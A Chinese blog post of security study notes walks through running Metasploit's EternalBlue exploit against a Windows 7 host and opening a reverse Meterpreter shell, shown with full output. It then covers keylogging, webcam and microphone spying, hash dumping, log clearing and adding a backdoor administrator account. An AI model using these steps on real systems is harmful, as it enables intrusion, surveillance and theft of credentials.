当前位置:   article > 正文

网络安全学习笔记1

网络安全学习笔记1

1.了解kali及安装

vmware安装,用户名密码均为kali

2.metasploit是什么

3.metasploit攻击windows系统

在kali中打来终端

数据msfconsole 进入metasploit的控制终端界面

msf的使用法则:

1.使用模块

2.配置模块必选项

3.运行模块

三步操作、实现对主流漏洞的攻击。

例子:msf6 >  search ms17_010

  1. Matching Modules
  2. ================
  3. # Name Disclosure Date Rank Check Description
  4. - ---- --------------- ---- ----- -----------
  5. 0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
  6. 1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
  7. 2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
  8. 3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
  9. Interact with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/smb/smb_ms17_010
  10. msf6 > use 0
  11. [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
  12. msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
  13. Module options (exploit/windows/smb/ms17_010_eternalblue):
  14. Name Current Setting Required Description
  15. ---- --------------- -------- -----------
  16. RHOSTS yes The target host(s), see https:
  17. //docs.metasploit.com/docs/usi
  18. ng-metasploit/basics/using-met
  19. asploit.html
  20. RPORT 445 yes The target port (TCP)
  21. SMBDomain no (Optional) The Windows domain
  22. to use for authentication. Onl
  23. y affects Windows Server 2008
  24. R2, Windows 7, Windows Embedde
  25. d Standard 7 target machines.
  26. SMBPass no (Optional) The password for th
  27. e specified username
  28. SMBUser no (Optional) The username to aut
  29. henticate as
  30. VERIFY_ARCH true yes Check if remote architecture m
  31. atches exploit Target. Only af
  32. fects Windows Server 2008 R2,
  33. Windows 7, Windows Embedded St
  34. andard 7 target machines.
  35. VERIFY_TARGET true yes Check if remote OS matches exp
  36. loit Target. Only affects Wind
  37. ows Server 2008 R2, Windows 7,
  38. Windows Embedded Standard 7 t
  39. arget machines.
  40. Payload options (windows/x64/meterpreter/reverse_tcp):
  41. Name Current Setting Required Description
  42. ---- --------------- -------- -----------
  43. EXITFUNC thread yes Exit technique (Accepted: '', seh,
  44. thread, process, none)
  45. LHOST 192.168.65.128 yes The listen address (an interface ma
  46. y be specified)
  47. LPORT 4444 yes The listen port
  48. Exploit target:
  49. Id Name
  50. -- ----
  51. 0 Automatic Target
  52. View the full module info with the info, or info -d command.

使用show options 查看配置项,启动requird标注为yes的为必填项

defaulting to windows/x64/meterpreter/reverse_tcp如果不是这个 可以手动配置

set payload windows/x64/meterpreter/reverse_tcp

payload就是攻击载荷。

LHOST ip地址     代表你是谁,配置为kali的ip地址

LPORT 为listentport  代表你要在kali上开启的端口。1-65535随便找,不能是占用。

  1. View the full module info with the info, or info -d command.
  2. msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.50.52
  3. RHOSTS => 192.168.50.52
  4. msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 10001
  5. lport => 10001
  6. msf6 exploit(windows/smb/ms17_010_eternalblue) > run
  7. [*] Started reverse TCP handler on 192.168.50.53:10001
  8. [*] 192.168.50.52:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
  9. [+] 192.168.50.52:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7600 x64 (64-bit)
  10. [*] 192.168.50.52:445 - Scanned 1 of 1 hosts (100% complete)
  11. [+] 192.168.50.52:445 - The target is vulnerable.
  12. [*] 192.168.50.52:445 - Connecting to target for exploitation.
  13. [+] 192.168.50.52:445 - Connection established for exploitation.
  14. [+] 192.168.50.52:445 - Target OS selected valid for OS indicated by SMB reply
  15. [*] 192.168.50.52:445 - CORE raw buffer dump (23 bytes)
  16. [*] 192.168.50.52:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
  17. [*] 192.168.50.52:445 - 0x00000010 74 65 20 37 36 30 30 te 7600
  18. [+] 192.168.50.52:445 - Target arch selected valid for arch indicated by DCE/RPC reply
  19. [*] 192.168.50.52:445 - Trying exploit with 12 Groom Allocations.
  20. [*] 192.168.50.52:445 - Sending all but last fragment of exploit packet
  21. [*] 192.168.50.52:445 - Starting non-paged pool grooming
  22. [+] 192.168.50.52:445 - Sending SMBv2 buffers
  23. [+] 192.168.50.52:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
  24. [*] 192.168.50.52:445 - Sending final SMBv2 buffers.
  25. [*] 192.168.50.52:445 - Sending last fragment of exploit packet!
  26. [*] 192.168.50.52:445 - Receiving response from exploit packet
  27. [+] 192.168.50.52:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
  28. [*] 192.168.50.52:445 - Sending egg to corrupted connection.
  29. [*] 192.168.50.52:445 - Triggering free of corrupted buffer.
  30. [-] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  31. [-] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  32. [-] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  33. [*] 192.168.50.52:445 - Connecting to target for exploitation.
  34. [+] 192.168.50.52:445 - Connection established for exploitation.
  35. [+] 192.168.50.52:445 - Target OS selected valid for OS indicated by SMB reply
  36. [*] 192.168.50.52:445 - CORE raw buffer dump (23 bytes)
  37. [*] 192.168.50.52:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
  38. [*] 192.168.50.52:445 - 0x00000010 74 65 20 37 36 30 30 te 7600
  39. [+] 192.168.50.52:445 - Target arch selected valid for arch indicated by DCE/RPC reply
  40. [*] 192.168.50.52:445 - Trying exploit with 17 Groom Allocations.
  41. [*] 192.168.50.52:445 - Sending all but last fragment of exploit packet
  42. [*] 192.168.50.52:445 - Starting non-paged pool grooming
  43. [+] 192.168.50.52:445 - Sending SMBv2 buffers
  44. [+] 192.168.50.52:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
  45. [*] 192.168.50.52:445 - Sending final SMBv2 buffers.
  46. [*] 192.168.50.52:445 - Sending last fragment of exploit packet!
  47. [*] 192.168.50.52:445 - Receiving response from exploit packet
  48. [+] 192.168.50.52:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
  49. [*] 192.168.50.52:445 - Sending egg to corrupted connection.
  50. [*] 192.168.50.52:445 - Triggering free of corrupted buffer.
  51. [*] Sending stage (201798 bytes) to 192.168.50.52
  52. [*] Meterpreter session 1 opened (192.168.50.53:10001 -> 192.168.50.52:3071) at 2024-02-29 21:48:57 -0500
  53. [+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  54. [+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  55. [+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

RHOSTS => 192.168.50.52

lport => 10001

run

最后

  1. [+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  2. [+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  3. [+] 192.168.50.52:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

WIN表示已经入侵成功。

help查看能够使用的命令

  1. meterpreter > help
  2. Core Commands
  3. =============
  4. Command Description
  5. ------- -----------
  6. ? Help menu
  7. background Backgrounds the current session
  8. bg Alias for background
  9. bgkill Kills a background meterpreter script
  10. bglist Lists running background scripts
  11. bgrun Executes a meterpreter script as a background thread
  12. channel Displays information or control active channels
  13. close Closes a channel
  14. detach Detach the meterpreter session (for http/https)
  15. disable_unic Disables encoding of unicode strings
  16. ode_encoding
  17. enable_unico Enables encoding of unicode strings
  18. de_encoding
  19. exit Terminate the meterpreter session
  20. get_timeouts Get the current session timeout values
  21. guid Get the session GUID
  22. help Help menu
  23. info Displays information about a Post module
  24. irb Open an interactive Ruby shell on the current session
  25. load Load one or more meterpreter extensions
  26. machine_id Get the MSF ID of the machine attached to the session
  27. migrate Migrate the server to another process
  28. pivot Manage pivot listeners
  29. pry Open the Pry debugger on the current session
  30. quit Terminate the meterpreter session
  31. read Reads data from a channel
  32. resource Run the commands stored in a file
  33. run Executes a meterpreter script or Post module
  34. secure (Re)Negotiate TLV packet encryption on the session
  35. sessions Quickly switch to another session
  36. set_timeouts Set the current session timeout values
  37. sleep Force Meterpreter to go quiet, then re-establish session
  38. ssl_verify Modify the SSL certificate verification setting
  39. transport Manage the transport mechanisms
  40. use Deprecated alias for "load"
  41. uuid Get the UUID for the current session
  42. write Writes data to a channel
  43. Stdapi: File system Commands
  44. ============================
  45. Command Description
  46. ------- -----------
  47. cat Read the contents of a file to the screen
  48. cd Change directory
  49. checksum Retrieve the checksum of a file
  50. cp Copy source to destination
  51. del Delete the specified file
  52. dir List files (alias for ls)
  53. download Download a file or directory
  54. edit Edit a file
  55. getlwd Print local working directory
  56. getwd Print working directory
  57. lcat Read the contents of a local file to the screen
  58. lcd Change local working directory
  59. lls List local files
  60. lmkdir Create new directory on local machine
  61. lpwd Print local working directory
  62. ls List files
  63. mkdir Make directory
  64. mv Move source to destination
  65. pwd Print working directory
  66. rm Delete the specified file
  67. rmdir Remove directory
  68. search Search for files
  69. show_mount List all mount points/logical drives
  70. upload Upload a file or directory
  71. Stdapi: Networking Commands
  72. ===========================
  73. Command Description
  74. ------- -----------
  75. arp Display the host ARP cache
  76. getproxy Display the current proxy configuration
  77. ifconfig Display interfaces
  78. ipconfig Display interfaces
  79. netstat Display the network connections
  80. portfwd Forward a local port to a remote service
  81. resolve Resolve a set of host names on the target
  82. route View and modify the routing table
  83. Stdapi: System Commands
  84. =======================
  85. Command Description
  86. ------- -----------
  87. clearev Clear the event log
  88. drop_token Relinquishes any active impersonation token.
  89. execute Execute a command
  90. getenv Get one or more environment variable values
  91. getpid Get the current process identifier
  92. getprivs Attempt to enable all privileges available to the current
  93. process
  94. getsid Get the SID of the user that the server is running as
  95. getuid Get the user that the server is running as
  96. kill Terminate a process
  97. localtime Displays the target system local date and time
  98. pgrep Filter processes by name
  99. pkill Terminate processes by name
  100. ps List running processes
  101. reboot Reboots the remote computer
  102. reg Modify and interact with the remote registry
  103. rev2self Calls RevertToSelf() on the remote machine
  104. shell Drop into a system command shell
  105. shutdown Shuts down the remote computer
  106. steal_token Attempts to steal an impersonation token from the target
  107. process
  108. suspend Suspends or resumes a list of processes
  109. sysinfo Gets information about the remote system, such as OS
  110. Stdapi: User interface Commands
  111. ===============================
  112. Command Description
  113. ------- -----------
  114. enumdesktops List all accessible desktops and window stations
  115. getdesktop Get the current meterpreter desktop
  116. idletime Returns the number of seconds the remote user has been id
  117. le
  118. keyboard_sen Send keystrokes
  119. d
  120. keyevent Send key events
  121. keyscan_dump Dump the keystroke buffer
  122. keyscan_star Start capturing keystrokes
  123. t
  124. keyscan_stop Stop capturing keystrokes
  125. mouse Send mouse events
  126. screenshare Watch the remote user desktop in real time
  127. screenshot Grab a screenshot of the interactive desktop
  128. setdesktop Change the meterpreters current desktop
  129. uictl Control some of the user interface components
  130. Stdapi: Webcam Commands
  131. =======================
  132. Command Description
  133. ------- -----------
  134. record_mic Record audio from the default microphone for X seconds
  135. webcam_chat Start a video chat
  136. webcam_list List webcams
  137. webcam_snap Take a snapshot from the specified webcam
  138. webcam_strea Play a video stream from the specified webcam
  139. m
  140. Stdapi: Audio Output Commands
  141. =============================
  142. Command Description
  143. ------- -----------
  144. play play a waveform audio file (.wav) on the target system
  145. Priv: Elevate Commands
  146. ======================
  147. Command Description
  148. ------- -----------
  149. getsystem Attempt to elevate your privilege to that of local system
  150. .
  151. Priv: Password database Commands
  152. ================================
  153. Command Description
  154. ------- -----------
  155. hashdump Dumps the contents of the SAM database
  156. Priv: Timestomp Commands
  157. ========================
  158. Command Description
  159. ------- -----------
  160. timestomp Manipulate file MACE attributes
  161. meterpreter >

例如:

meterpreter > sysinfo

  1. Computer        : SJUN-PC
  2. OS              : Windows 7 (6.1 Build 7600).
  3. Architecture    : x64
  4. System Language : zh_CN
  5. Domain          : WORKGROUP
  6. Logged On Users : 1
  7. Meterpreter     : x64/windows
  8. meterpreter > 

Core Commands
=============

  1. Core Commands
  2. =============
  3. Command Description
  4. ------- -----------
  5. ? Help menu
  6. background Backgrounds the current session
  7. bg Alias for background
  8. bgkill Kills a background meterpreter script
  9. bglist Lists running background scripts
  10. bgrun Executes a meterpreter script as a background thread
  11. channel Displays information or control active channels
  12. close Closes a channel
  13. detach Detach the meterpreter session (for http/https)
  14. disable_unic Disables encoding of unicode strings
  15. ode_encoding
  16. enable_unico Enables encoding of unicode strings
  17. de_encoding
  18. exit Terminate the meterpreter session
  19. get_timeouts Get the current session timeout values
  20. guid Get the session GUID
  21. help Help menu
  22. info Displays information about a Post module
  23. irb Open an interactive Ruby shell on the current session
  24. load Load one or more meterpreter extensions
  25. machine_id Get the MSF ID of the machine attached to the session
  26. migrate Migrate the server to another process
  27. pivot Manage pivot listeners
  28. pry Open the Pry debugger on the current session
  29. quit Terminate the meterpreter session
  30. read Reads data from a channel
  31. resource Run the commands stored in a file
  32. run Executes a meterpreter script or Post module
  33. secure (Re)Negotiate TLV packet encryption on the session
  34. sessions Quickly switch to another session
  35. set_timeouts Set the current session timeout values
  36. sleep Force Meterpreter to go quiet, then re-establish session
  37. ssl_verify Modify the SSL certificate verification setting
  38. transport Manage the transport mechanisms
  39. use Deprecated alias for "load"
  40. uuid Get the UUID for the current session
  41. write Writes data to a channel

Priv: Timestomp Commands
========================

  1.     Command       Description
  2.     -------       -----------
  3.     timestomp     Manipulate file MACE attributes

Priv: Password database Commands
================================

  1.     Command       Description
  2.     -------       -----------
  3.     hashdump      Dumps the contents of the SAM database

Priv: Elevate Commands
======================

   

  1. Command       Description
  2.     -------       -----------
  3.     getsystem     Attempt to elevate your privilege to that of local system


                  .


Stdapi: Audio Output Commands
=============================

  1.   Command       Description
  2.     -------       -----------
  3.     play          play a waveform audio file (.wav) on the target system


Stdapi: Webcam Commands
=======================

  1.   Command       Description
  2.     -------       -----------
  3.     record_mic    Record audio from the default microphone for X seconds
  4.     webcam_chat   Start a video chat
  5.     webcam_list   List webcams
  6.     webcam_snap   Take a snapshot from the specified webcam
  7.     webcam_strea  Play a video stream from the specified webcam
  8.     m

Stdapi: User interface Commands
===============================

  1.     Command       Description
  2.     -------       -----------
  3.     enumdesktops  List all accessible desktops and window stations
  4.     getdesktop    Get the current meterpreter desktop
  5.     idletime      Returns the number of seconds the remote user has been id
  6.                   le
  7.     keyboard_sen  Send keystrokes
  8.     d
  9.     keyevent      Send key events
  10.     keyscan_dump  Dump the keystroke buffer
  11.     keyscan_star  Start capturing keystrokes
  12.     t
  13.     keyscan_stop  Stop capturing keystrokes
  14.     mouse         Send mouse events
  15.     screenshare   Watch the remote user desktop in real time
  16.     screenshot    Grab a screenshot of the interactive desktop
  17.     setdesktop    Change the meterpreters current desktop
  18.     uictl         Control some of the user interface components

Stdapi: System Commands
=======================

  1.   Command       Description
  2.     -------       -----------
  3.     clearev       Clear the event log
  4.     drop_token    Relinquishes any active impersonation token.
  5.     execute       Execute a command
  6.     getenv        Get one or more environment variable values
  7.     getpid        Get the current process identifier
  8.     getprivs      Attempt to enable all privileges available to the current
  9.                    process
  10.     getsid        Get the SID of the user that the server is running as
  11.     getuid        Get the user that the server is running as
  12.     kill          Terminate a process
  13.     localtime     Displays the target system local date and time
  14.     pgrep         Filter processes by name
  15.     pkill         Terminate processes by name
  16.     ps            List running processes
  17.     reboot        Reboots the remote computer
  18.     reg           Modify and interact with the remote registry
  19.     rev2self      Calls RevertToSelf() on the remote machine
  20.     shell         Drop into a system command shell
  21.     shutdown      Shuts down the remote computer
  22.     steal_token   Attempts to steal an impersonation token from the target
  23.                   process
  24.     suspend       Suspends or resumes a list of processes
  25.     sysinfo       Gets information about the remote system, such as OS

Stdapi: Networking Commands
===========================

   

  1. Command       Description
  2.     -------       -----------
  3.     arp           Display the host ARP cache
  4.     getproxy      Display the current proxy configuration
  5.     ifconfig      Display interfaces
  6.     ipconfig      Display interfaces
  7.     netstat       Display the network connections
  8.     portfwd       Forward a local port to a remote service
  9.     resolve       Resolve a set of host names on the target
  10.     route         View and modify the routing table

Stdapi: File system Commands
============================

   

  1. Command       Description
  2.     -------       -----------
  3.     cat           Read the contents of a file to the screen
  4.     cd            Change directory
  5.     checksum      Retrieve the checksum of a file
  6.     cp            Copy source to destination
  7.     del           Delete the specified file
  8.     dir           List files (alias for ls)
  9.     download      Download a file or directory
  10.     edit          Edit a file
  11.     getlwd        Print local working directory
  12.     getwd         Print working directory
  13.     lcat          Read the contents of a local file to the screen
  14.     lcd           Change local working directory
  15.     lls           List local files
  16.     lmkdir        Create new directory on local machine
  17.     lpwd          Print local working directory
  18.     ls            List files
  19.     mkdir         Make directory
  20.     mv            Move source to destination
  21.     pwd           Print working directory
  22.     rm            Delete the specified file
  23.     rmdir         Remove directory
  24.     search        Search for files
  25.     show_mount    List all mount points/logical drives
  26.     upload        Upload a file or directory
  1. 用户操作:Stdapi: User interface Commands(用户接口命令)
  2. enumdesktops -->列出所有可访问的桌面和窗口站(窗体列表)
  3. getdesktop -->得到当前的Meterpreter桌面
  4. idletime -->返回秒远程用户已经闲置数量
  5. keyscan_dump -->转储按键缓冲(下载键盘记录)
  6. keyscan_start -->开始捕获击键(开始键盘记录)
  7. keyscan_stop -->停止捕获击键(停止键盘记录)
  8. screenshot -->抓取交互式桌面截图(当前操作界面截图一张)
  9. setdesktop -->改变meterpreters当前桌面
  10. uictl -->控制一些用户界面组件(获取键盘、鼠标控制权)
  11. 使用uictl -h 查看帮助(打开/关闭,键盘/鼠标)
  12. PS:键盘记录注意点,先开始,后下载,再结束,否则会出错
  13. 摄像头:Stdapi: Webcam Commands(摄像头命令)
  14. record_mic -->X秒从默认的麦克风record_mic音频记录(音频录制)
  15. webcam_chat -->开始视频聊天(视频,对方会有弹窗)
  16. webcam_list -->单摄像头(查看摄像头列表)
  17. webcam_snap -->采取快照从指定的摄像头(摄像头拍摄一张照片)
  18. webcam_stream -->播放视频流从指定的摄像头(开启摄像头监控)
  19. 其他命令操作
  20. getsystem -->获取高权限
  21. hashdump -->获取当前用户hash

例子:创建后门用户并开启远程连接

shell

net user zhangsan  123456 /add

net localgroup administrators zhangsan /add

在攻陷的机器上添加用户zhangsan密码为123456 并且把张三的用户加入到管理员组。

exit退出

screenshot  来进行截图屏幕

meterpreter > webcam_snap  

->采取快照从指定的摄像头(摄像头拍摄一张照片)

[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /home/kali/Desktop/rJfZoIoR.jpeg

meterpreter > webcam_stream   

 -->播放视频流从指定的摄像头(开启摄像头监控)

[*] Starting...
[*] Preparing player...
[*] Opening player at: /home/kali/Desktop/wViPebHU.html
[*] Streaming...
^CInterrupt
[-] webcam_stream: Interrupted
meterpreter > Interrupt: use the 'exit' command to quit

查看文件meterpreter > dir d:/
Listing: d:/

  1. ============
  2. Mode              Size   Type  Last modified              Name
  3. ----              ----   ----  -------------              ----
  4. 040777/rwxrwxrwx  0      dir   2023-05-18 23:55:43 -0400  $QAXHoneypot
  5. 040777/rwxrwxrwx  0      dir   2022-07-26 03:39:58 -0400  $RECYCLE.BIN
  6. 040777/rwxrwxrwx  0      dir   2023-05-16 04:32:30 -0400  Program Files
  7. 040777/rwxrwxrwx  4096   dir   2023-12-21 20:19:47 -0500  Program Files (x86)
  8. 040777/rwxrwxrwx  0      dir   2023-05-18 23:12:52 -0400  QAXDownload
  9. 040777/rwxrwxrwx  0      dir   2018-03-22 23:27:06 -0400  System Volume Information
  10. 100666/rw-rw-rw-  14141  fil   2020-08-05 03:14:06 -0400  ZB-SAN-SW-24.xlsx
  11. 100666/rw-rw-rw-  18077  fil   2021-06-14 02:09:44 -0400  ZB-交换机端口映射.xlsx
  12. 040777/rwxrwxrwx  12288  dir   2023-05-18 23:54:46 -0400  tools工具
  13. 040777/rwxrwxrwx  4096   dir   2020-04-29 02:55:45 -0400  个人文件
  14. 100666/rw-rw-rw-  15818  fil   2021-12-23 01:39:22 -0500  容灾IP地址分配.xlsx
  15. 040777/rwxrwxrwx  4096   dir   2023-05-18 23:55:02 -0400  封存项目
  16. 040777/rwxrwxrwx  4096   dir   2023-05-18 23:56:14 -0400  工作区域

meterpreter > cat c:/1.txt  查看文件内容
123
meterpreter > 

meterpreter > mkdir d:\ly 创建目录
Creating directory: d:ly
 

  1. 2.文件系统命令
  2. cat c:\boot.ini#查看文件内容,文件必须存在
  3. del c:\boot.ini #删除指定的文件
  4. upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload setup.exe C:\\windows\\system32\
  5. download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\\boot.ini /root/或者download C:\\"ProgramFiles"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/
  6. edit c:\boot.ini # 编辑文件
  7. getlwd#打印本地目录
  8. getwd#打印工作目录
  9. lcd#更改本地目录
  10. ls#列出在当前目录中的文件列表
  11. lpwd#打印本地目录
  12. pwd#输出工作目录
  13. cd c:\\ #进入目录文件下
  14. rm file #删除文件
  15. mkdir dier #在受害者系统上的创建目录
  16. rmdir#受害者系统上删除目录
  17. dir#列出目标主机的文件和文件夹信息
  18. mv#修改目标主机上的文件名
  19. search -d d:\\www -f web.config #search 文件,如search -d c:\\ -f*.doc
  20. meterpreter > search -f autoexec.bat #搜索文件
  21. meterpreter > search -f sea*.bat c:\\xamp\\
  22. enumdesktops #用户登录数
  23. 1)下载文件
  24. 使用命令“download +file path”,将下载目标机器的相对应权限的任何路径下的文件
  25. (2)上传文件
  26. “upload”命令为上传文件到我们的目标机器,在图中我们上传了ll.txt到目标机器的c:\pp\下。
  27. (3)查看文件
  28. cat filename”在当前目录下查看文件内容,输入命令后便会返回给我们所查看文件的内容。
  29. (4)切换、查询当前路径
  30. pwd”命令将查询当前在dos命令下的路径,“cd”命令可以改变当前路径,如下图中cd ..为切换到当前路径下的上一目录。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家小花儿/article/detail/603052
推荐阅读
相关标签
  

闽ICP备14008679号